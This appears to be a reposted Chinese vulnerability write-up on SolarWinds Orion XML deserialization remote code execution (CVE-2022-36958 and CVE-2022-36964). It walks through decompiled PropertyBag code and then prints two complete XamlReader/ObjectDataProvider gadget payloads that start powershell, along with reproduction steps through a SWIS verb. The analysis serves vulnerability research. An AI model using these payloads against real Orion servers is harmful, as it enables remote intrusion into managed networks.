Solarwinds DeserializeFromStrippedXml RCE

渗透技巧 1年前 (2023) admin
40 0 0

漏洞信息

https://www.zerodayinitiative.com/advisories/ZDI-22-1664/

https://www.zerodayinitiative.com/advisories/ZDI-22-1459/

DeserializeFromStrippedXml方法存在以下四个dll

  • solarwinds.informationservice.Contract.dll

  • solarwinds.MessageBus.dll

  • solarwinds.informationservice.Addons.dll

  • solarwinds.Orion.Core.SharedCredentials.Provider.dll

来看看diff,明显的xml反序列化。

Solarwinds DeserializeFromStrippedXml RCE

SWIS服务

Solarwinds软件中有一个SolarWinds Information Service (SWIS)服务,可通过该服务访问到Orion平台中的数据,提供了一种类似于SQL的语言SWQL。

Solarwinds DeserializeFromStrippedXml RCE    

          

默认监听端口端口17778、17777,官方提供了SWQL Studio工具可进行SWQL查询以及API调用,HTTP也能进行部分调用但是只能调用一部分。

如果熟悉WCF,很容易找到对应的接口在/SolarWinds/InformationService/v3/json/,在配置文件:

<endpoint address="/Json" binding="webHttpBinding" bindingConfiguration="RestBinding" contract="SolarWinds.InformationService.Core.IRestInformationService" behaviorConfiguration="RestEndpointBehavior">    <identity>    <certificateReference x509FindType="FindBySubjectDistinguishedName" storeName="My" storeLocation="LocalMachine" findValue="CN=SolarWinds-Orion" />    </identity></endpoint>

对应类:

SolarWinds.InformationService.Core#IRestInformationService

不过SWQL Studio更加方便,只需要找到对应的verb填入参数即能调用

Solarwinds DeserializeFromStrippedXml RCE

CVE-2022-36958

这个CVE影响的是solarwinds.informationservice.Addons.dll,和上面提到的另外两个dll文件都实现了自定义反序列化的逻辑,实现都大同小异。

入口是将所有参数进行反序列化(DataContractSerializer),类型对应调用Verb函数的接收参数,如上。但是可以找到一个类实现了IXmlSerializable接口的方法,DataContractSerializer反序列化该类时会调用其readxml方法进行下一步操作,就像Json.NET自定义JsonConverter#ReadJson方法一样。

SolarWinds.InformationService.Addons.PropertyBag类继承了IXmlSerializable接口并实现了Readxml方法,当反序列化为PropertyBag类型时会调用ReadXml走自定义反序列化的逻辑,定位到SolarWinds.InformationService.Addons.PropertyBag#ReadXMl方法

  public void ReadXml(XmlReader reader)  {    foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))    {      XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");      if (xelement != null)      {        string value = xelement.Value;        XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");        if (xelement2 != null)        {          string value2 = xelement2.Value;          XAttribute xattribute = xelement2.Attribute("overrideType");          if (xattribute != null)          {            value2 = xattribute.Value;          }          object obj = null;          XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");          if (xelement3 != null && !xelement3.IsEmpty)          {            string value3 = xelement3.Value;            // 这里使用的反序列化器变为xmlserialzer            obj = this.Deserialize(value3, value2);            PropertyBagWhiteListCollector.LogObjectInfo(obj, SolarWinds.Serialization.Json.SerializationHelper.GetMethodFromStackTrace(), SolarWinds.Serialization.Json.SerializationHelper.GetAssemblyName());          }          base.Add(value, obj);        }      }    }  }

将从xml中取出type和value进行反序列化,均可控。跟进

Solarwinds DeserializeFromStrippedXml RCE

中间有一部分逻辑省略了,最终确实拿到了我们期望的类型,然后调用DeserializeFromStrippedXml进行反序列化,但是在反序列化之前还会处理一次我们的xml

    public object DeserializeFromStrippedXml(string strippedXml)    {      if (strippedXml == null)      {        throw new ArgumentNullException("strippedXml");      }      string s = string.Format("<{0} xmlns='{1}'>{2}</{0}>", this.XsdElementName, this.Namespace, strippedXml);      return this.Serializer.Deserialize(new StringReader(s));    }

会在我们的payload最外层嵌套一层标签,这里XsdElementName是通过type正常生成的为ExpandedWrapperOfXamlReaderObjectDataProvider,但是namespace是获取为空的。

Solarwinds DeserializeFromStrippedXml RCE

命名空间的问题会导致正常payload无法正常执行,经过测试顶级命名空间不可控的情况下,移至子标签payload可正常执行,后来作者也提到了https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform。

所以针对SolarWinds.InformationService.Addons.PropertyBag的payload:

<dictionary xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">    <item>        <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>        <key>g7shot</key>        <value>&lt;ExpandedElement/&gt;&lt;ProjectedProperty0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;&lt;MethodName&gt;Parse&lt;/MethodName&gt;&lt;MethodParameters&gt;&lt;anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"&gt;&lt;![CDATA[&lt;ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"&gt;&lt;ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;b:String&gt;powershell&lt;/b:String&gt;&lt;b:String&gt;-c calc solarwindsRCE&lt;/b:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;]]&gt;&lt;/anyType&gt;&lt;/MethodParameters&gt;&lt;ObjectInstance xsi:type="XamlReader"&gt;&lt;/ObjectInstance&gt;&lt;/ProjectedProperty0&gt;</value>    </item></dictionary>

DataContractSerializer–>IXmlSerializable#ReadXml–>XmlSerializer RCE,调用栈

Solarwinds DeserializeFromStrippedXml RCE

CVE-2022-36964

自定义xml反序列化的地方有三处,这里利用到的类是SolarWinds.InformationService.Contract2.PropertyBag。

ReadXml实现代码:

public void ReadXml(XmlReader reader)  {    foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))    {      XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");      if (xelement != null)      {        string value = xelement.Value;        XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");        if (xelement2 != null)        {          string value2 = xelement2.Value;          XAttribute xattribute = xelement2.Attribute("overrideType");          if (xattribute != null)          {            value2 = xattribute.Value;          }          Type left;          if (value2 == "SolarWinds.InformationService.PropertyBag")          {            left = typeof(PropertyBag);          }          else          {            left = Type.GetType(value2);          }          object obj = null;          XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");          if (xelement3 != null && !xelement3.IsEmpty && left != null)          {            string value3 = xelement3.Value;            obj = this.Deserialize(value3, value2);            PropertyBagWhiteListCollector.LogObjectInfo(obj, SerializationHelper.GetMethodFromStackTrace(), SerializationHelper.GetAssemblyName());          }          base.Add(value, obj);        }      }    }  }
和上面大同小异,最终构造针对SolarWinds.InformationService.Contract2.PropertyBag的payload如下:
<AlertingActionContext    xmlns="http://schemas.solarwinds.com/2008/Orion"    xmlns:i="http://www.w3.org/2001/XMLSchema-instance">    <MacroContext        xmlns="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.Actions.Contexts"        xmlns:a="http://schemas.solarwinds.com/2008/Orion">        <a:contexts            xmlns:b="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.MacroParsing">            <b:ContextBase i:type="a:SwisEntityContext">                <a:DisplayName>Net object properties</a:DisplayName>                <a:EntityProperties>                    <item xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">                      <key>g7shot</key>                      <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>                      <value>                            <a><![CDATA[<ProjectedProperty0 xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">]]></a>                            <b>&lt;![CDATA[</b>                            <d><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider a:Key="" ObjectType="{a:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>powershell</b:String><b:String>-c calc SolarwindsRCE</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></d>                            <e>]]&gt;</e>                            <c><![CDATA[</anyType></MethodParameters><ObjectInstance a:type="XamlReader"/></ProjectedProperty0>]]></c>                    </value>                     </item>                </a:EntityProperties>                <a:EntityType i:nil="true"/>                <a:EntityUri i:nil="true"/>            </b:ContextBase>        </a:contexts>    </MacroContext>    <AlertActiveId i:nil="true"/>    <AlertContext>        <AlertName i:nil="true"/>        <CreatedBy i:nil="true"/>    </AlertContext>    <AlertObjectId i:nil="true"/>    <EntityType i:nil="true"/>    <EntityUri i:nil="true"/>    <EntityUris i:nil="true"        xmlns:a="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>        <ExecutionMode>Trigger</ExecutionMode>        <IsGlobalAlert>false</IsGlobalAlert>        <NetObjectData i:nil="true"            xmlns:a="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Common.Alerting"/>            <ObjectDataExists>false</ObjectDataExists>        </AlertingActionContext>


漏洞复现

找到入口点传入的类型为SolarWinds.InformationService.Addons.PropertyBag,复制上面的payload发送,比如Orion.AlertActionExecuted.ReportIndication的verb   

Solarwinds DeserializeFromStrippedXml RCE    

          

Solarwinds DeserializeFromStrippedXml RCE

          

拓展

Solarwinds之前的CVE-2022-36957( PropertyBagJsonConverter )和上面的两个Xml反序列化,都是通过找到特定类自定义的反序列化进行下一步的利用。

对比下DataContractSerializer正常反序列化逻辑和走自定义反序列化逻辑的调用栈:

Solarwinds DeserializeFromStrippedXml RCE

Solarwinds DeserializeFromStrippedXml RCE

最终都会进入到XmlObjectSerializerReadContext#ReadDataContractValue方法,然后再调用ReadXmlValue走内部反序列化的逻辑,具体代码

protected virtual object ReadDataContractValue(    DataContract dataContract,    XmlReaderDelegator reader){    return dataContract.ReadXmlValue(reader, this);}

根据上面的调用栈可以发现两种不同的反序列化过程区别在于dataContract属性,分别是XmlDataContract和ClassDataContract,而dataContract是在DataContractSerializer类中进行初始化的:

private DataContract RootContract{    get    {    if (this.rootContract == null)    {        this.rootContract = DataContract.GetDataContract(this.dataContractSurrogate == null ? this.rootType : DataContractSerializer.GetSurrogatedType(this.dataContractSurrogate, this.rootType));        this.needsContractNsAtRoot = this.CheckIfNeedsContractNsAtRoot(this.rootName, this.rootNamespace, this.rootContract);    }    return this.rootContract;    }}

然后通过一系列的调用获取DataContract复制给this.RootContract,贴下这部分调用栈

Solarwinds DeserializeFromStrippedXml RCE

最终会拿到对应的DataContract实例:

Solarwinds DeserializeFromStrippedXml RCE

由于本地调试环境问题没有详细跟进,不过可以清楚看见第二个红框标记的一个if条件是type.IsDefined(Globals.TypeOfDataContractAttribute, false)。

参考官方文档,在使用DataContractSerializer反序列化类时,类需要标记DataContract特性,所以在正常使用过程中都会使用ClassDataContract#ReadXmlValue,然后再走内部反序列化的逻辑,这里不再赘述。

简单看下XmlDataContract#ReadXmlValue最终是怎么调用到反序列化类的ReadXml方法中的:

Solarwinds DeserializeFromStrippedXml RCE

进入ReadXmlValue方法中之后会调用XmlObjectSerializerReadContext.ReadIXmlSerializable(),跟进

Solarwinds DeserializeFromStrippedXml RCE

到这里最终调用了ReadXml方法走自定义反序列化的逻辑。

那其他Xml序列化器是否也有类似的处理逻辑?我们知道常见的xml序列化器有

  • DataContractSerializer,继承XmlObjectSerializer

  • NetDataContractSerializer,继承XmlObjectSerializer

  • XmlSerializer

调试发现NetDataContractSerializer同样也支持这种方式,如果CVE-2022-36958的序列化器是NetDataContractSerializer,如下payload也同样适用:

<dictionary z:Type="SolarWinds.InformationService.Contract2.PropertyBag" z:Assembly="SolarWinds.InformationService.Contract, Version=2022.3.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">    <item>    payload    </item></dictionary>

最后补充下类自定义Xml( DataContractSerializer、NetDataContractSerializer )反序列化条件:

  1. 继承IXmlSerializable&不能被DataContract特性标记

  2. 定义XmlRoot特性或者XmlSchemaProvider特性

  3. 需要一个无参构造函数

例如反序列化这个类时就能走到ReadXml方法:

 //条件1    // [XmlRoot("dictionary", Namespace = "http://schemas.solarwinds.com/2007/08/informationservice/propertybag")]    [XmlSchemaProvider("GetSchema")]    //条件2    class Person : IXmlSerializable    {        [DataMember()]        public string FirstName;        [DataMember]        public string LastName;        [DataMember()]        public int Age;
public Person(string newfName, string newLName, int age) { FirstName = newfName; LastName = newLName; Age = age; } // 条件3 public Person() { Console.WriteLine("init!!!"); } public XmlSchema GetSchema() { throw new NotImplementedException(); }
public void ReadXml(XmlReader reader) { throw new NotImplementedException(); }
public void WriteXml(XmlWriter writer) { throw new NotImplementedException(); } public static XmlQualifiedName GetSchema(XmlSchemaSet xs) { return null; } }

          

参考

https://learn.microsoft.com/en-us/dotnet/api/system.xml.serialization.ixmlserializable

https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

原文始发于微信公众号(青藤实验室):Solarwinds DeserializeFromStrippedXml RCE

版权声明:admin 发表于 2023年10月31日 上午11:51。
转载请注明:Solarwinds DeserializeFromStrippedXml RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...